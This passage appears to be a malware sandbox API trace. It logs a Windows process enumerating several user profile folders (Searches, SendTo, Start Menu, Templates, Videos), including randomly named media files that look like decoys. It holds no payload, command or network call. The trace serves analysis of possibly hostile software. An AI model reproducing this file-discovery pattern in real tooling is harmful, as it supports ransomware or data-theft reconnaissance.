1 [0220.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.552] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Searches", lpFilePart=0x0) returned 0x1e [0220.552] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\searches\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5170 [0220.552] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.553] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.553] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x437a1142, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0220.553] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0220.553] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0220.553] FindClose (in: hFindFile=0x1d1f5170 | out: hFindFile=0x1d1f5170) returned 1 [0220.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.554] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\SendTo", lpFilePart=0x0) returned 0x1c [0220.554] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\sendto\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.556] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\SendTo", lpFilePart=0x0) returned 0x1c [0220.556] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\SendTo\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\sendto\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.558] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Start Menu", lpFilePart=0x0) returned 0x20 [0220.558] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\start menu\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.561] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Start Menu", lpFilePart=0x0) returned 0x20 [0220.561] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Start Menu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\start menu\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.693] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Templates", lpFilePart=0x0) returned 0x1f [0220.693] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\templates\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.696] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Templates", lpFilePart=0x0) returned 0x1f [0220.696] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Templates\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\templates\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.699] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos", lpFilePart=0x0) returned 0x1c [0220.699] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4c30 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b9760, ftCreationTime.dwHighDateTime=0x1d99557, ftLastAccessTime.dwLowDateTime=0x4876340, ftLastAccessTime.dwHighDateTime=0x1d99ab5, ftLastWriteTime.dwLowDateTime=0x4876340, ftLastWriteTime.dwHighDateTime=0x1d99ab5, nFileSizeHigh=0x0, nFileSizeLow=0xf976, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Mrspe5AbQjbF.mkv", cAlternateFileName="4MRSPE~1.MKV")) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4347fe61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb229b450, ftCreationTime.dwHighDateTime=0x1d996a8, ftLastAccessTime.dwLowDateTime=0x273163d0, ftLastAccessTime.dwHighDateTime=0x1d99972, ftLastWriteTime.dwLowDateTime=0x273163d0, ftLastWriteTime.dwHighDateTime=0x1d99972, nFileSizeHigh=0x0, nFileSizeLow=0x137dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="lrzRT5hQ-uySK.mkv", cAlternateFileName="LRZRT5~1.MKV")) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NatffaUeN", cAlternateFileName="NATFFA~1")) returned 1 [0220.700] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2874d0, ftCreationTime.dwHighDateTime=0x1d99ab5, ftLastAccessTime.dwLowDateTime=0x25ed5890, ftLastAccessTime.dwHighDateTime=0x1d99c87, ftLastWriteTime.dwLowDateTime=0x25ed5890, ftLastWriteTime.dwHighDateTime=0x1d99c87, nFileSizeHigh=0x0, nFileSizeLow=0x236e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NWz15Aa5R4VQc.mp4", cAlternateFileName="NWZ15A~1.MP4")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d32780, ftCreationTime.dwHighDateTime=0x1d99448, ftLastAccessTime.dwLowDateTime=0xf02e2080, ftLastAccessTime.dwHighDateTime=0x1d99c28, ftLastWriteTime.dwLowDateTime=0xf02e2080, ftLastWriteTime.dwHighDateTime=0x1d99c28, nFileSizeHigh=0x0, nFileSizeLow=0xc50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Om71.flv", cAlternateFileName="")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536fdb20, ftCreationTime.dwHighDateTime=0x1d98f77, ftLastAccessTime.dwLowDateTime=0x9fc15770, ftLastAccessTime.dwHighDateTime=0x1d99a11, ftLastWriteTime.dwLowDateTime=0x9fc15770, ftLastWriteTime.dwHighDateTime=0x1d99a11, nFileSizeHigh=0x0, nFileSizeLow=0x146c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ozRXM8D82iwPB0bG5DJl.mp4", cAlternateFileName="OZRXM8~1.MP4")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782c3500, ftCreationTime.dwHighDateTime=0x1d98df4, ftLastAccessTime.dwLowDateTime=0x4ed66d50, ftLastAccessTime.dwHighDateTime=0x1d9948f, ftLastWriteTime.dwLowDateTime=0x4ed66d50, ftLastWriteTime.dwHighDateTime=0x1d9948f, nFileSizeHigh=0x0, nFileSizeLow=0x16437, dwReserved0=0x0, dwReserved1=0x0, cFileName="R8xMpblt.avi", cAlternateFileName="")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Us7z3QC0Av1M", cAlternateFileName="US7Z3Q~1")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14c7a780, ftCreationTime.dwHighDateTime=0x1d998e2, ftLastAccessTime.dwLowDateTime=0x3a7ac630, ftLastAccessTime.dwHighDateTime=0x1d99a0c, ftLastWriteTime.dwLowDateTime=0x3a7ac630, ftLastWriteTime.dwHighDateTime=0x1d99a0c, nFileSizeHigh=0x0, nFileSizeLow=0x138b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="V-SokmfiE.avi", cAlternateFileName="V-SOKM~1.AVI")) returned 1 [0220.701] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565cf760, ftCreationTime.dwHighDateTime=0x1d98e63, ftLastAccessTime.dwLowDateTime=0x1023a970, ftLastAccessTime.dwHighDateTime=0x1d99164, ftLastWriteTime.dwLowDateTime=0x1023a970, ftLastWriteTime.dwHighDateTime=0x1d99164, nFileSizeHigh=0x0, nFileSizeLow=0x2537, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFTZLiJ_SwU6s3UIvf0J.mp4", cAlternateFileName="VFTZLI~1.MP4")) returned 1 [0220.702] FindNextFileW (in: hFindFile=0x1d1f4c30, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.702] FindClose (in: hFindFile=0x1d1f4c30 | out: hFindFile=0x1d1f4c30) returned 1 [0220.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.702] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos", lpFilePart=0x0) returned 0x1c [0220.702] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0220.702] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b9760, ftCreationTime.dwHighDateTime=0x1d99557, ftLastAccessTime.dwLowDateTime=0x4876340, ftLastAccessTime.dwHighDateTime=0x1d99ab5, ftLastWriteTime.dwLowDateTime=0x4876340, ftLastWriteTime.dwHighDateTime=0x1d99ab5, nFileSizeHigh=0x0, nFileSizeLow=0xf976, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Mrspe5AbQjbF.mkv", cAlternateFileName="4MRSPE~1.MKV")) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4347fe61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb229b450, ftCreationTime.dwHighDateTime=0x1d996a8, ftLastAccessTime.dwLowDateTime=0x273163d0, ftLastAccessTime.dwHighDateTime=0x1d99972, ftLastWriteTime.dwLowDateTime=0x273163d0, ftLastWriteTime.dwHighDateTime=0x1d99972, nFileSizeHigh=0x0, nFileSizeLow=0x137dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="lrzRT5hQ-uySK.mkv", cAlternateFileName="LRZRT5~1.MKV")) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861d10, ftCreationTime.dwHighDateTime=0x1d996a9, ftLastAccessTime.dwLowDateTime=0xb6277560, ftLastAccessTime.dwHighDateTime=0x1d99946, ftLastWriteTime.dwLowDateTime=0xb6277560, ftLastWriteTime.dwHighDateTime=0x1d99946, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NatffaUeN", cAlternateFileName="NATFFA~1")) returned 1 [0220.703] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2874d0, ftCreationTime.dwHighDateTime=0x1d99ab5, ftLastAccessTime.dwLowDateTime=0x25ed5890, ftLastAccessTime.dwHighDateTime=0x1d99c87, ftLastWriteTime.dwLowDateTime=0x25ed5890, ftLastWriteTime.dwHighDateTime=0x1d99c87, nFileSizeHigh=0x0, nFileSizeLow=0x236e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NWz15Aa5R4VQc.mp4", cAlternateFileName="NWZ15A~1.MP4")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d32780, ftCreationTime.dwHighDateTime=0x1d99448, ftLastAccessTime.dwLowDateTime=0xf02e2080, ftLastAccessTime.dwHighDateTime=0x1d99c28, ftLastWriteTime.dwLowDateTime=0xf02e2080, ftLastWriteTime.dwHighDateTime=0x1d99c28, nFileSizeHigh=0x0, nFileSizeLow=0xc50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Om71.flv", cAlternateFileName="")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536fdb20, ftCreationTime.dwHighDateTime=0x1d98f77, ftLastAccessTime.dwLowDateTime=0x9fc15770, ftLastAccessTime.dwHighDateTime=0x1d99a11, ftLastWriteTime.dwLowDateTime=0x9fc15770, ftLastWriteTime.dwHighDateTime=0x1d99a11, nFileSizeHigh=0x0, nFileSizeLow=0x146c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ozRXM8D82iwPB0bG5DJl.mp4", cAlternateFileName="OZRXM8~1.MP4")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782c3500, ftCreationTime.dwHighDateTime=0x1d98df4, ftLastAccessTime.dwLowDateTime=0x4ed66d50, ftLastAccessTime.dwHighDateTime=0x1d9948f, ftLastWriteTime.dwLowDateTime=0x4ed66d50, ftLastWriteTime.dwHighDateTime=0x1d9948f, nFileSizeHigh=0x0, nFileSizeLow=0x16437, dwReserved0=0x0, dwReserved1=0x0, cFileName="R8xMpblt.avi", cAlternateFileName="")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Us7z3QC0Av1M", cAlternateFileName="US7Z3Q~1")) returned 1 [0220.704] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14c7a780, ftCreationTime.dwHighDateTime=0x1d998e2, ftLastAccessTime.dwLowDateTime=0x3a7ac630, ftLastAccessTime.dwHighDateTime=0x1d99a0c, 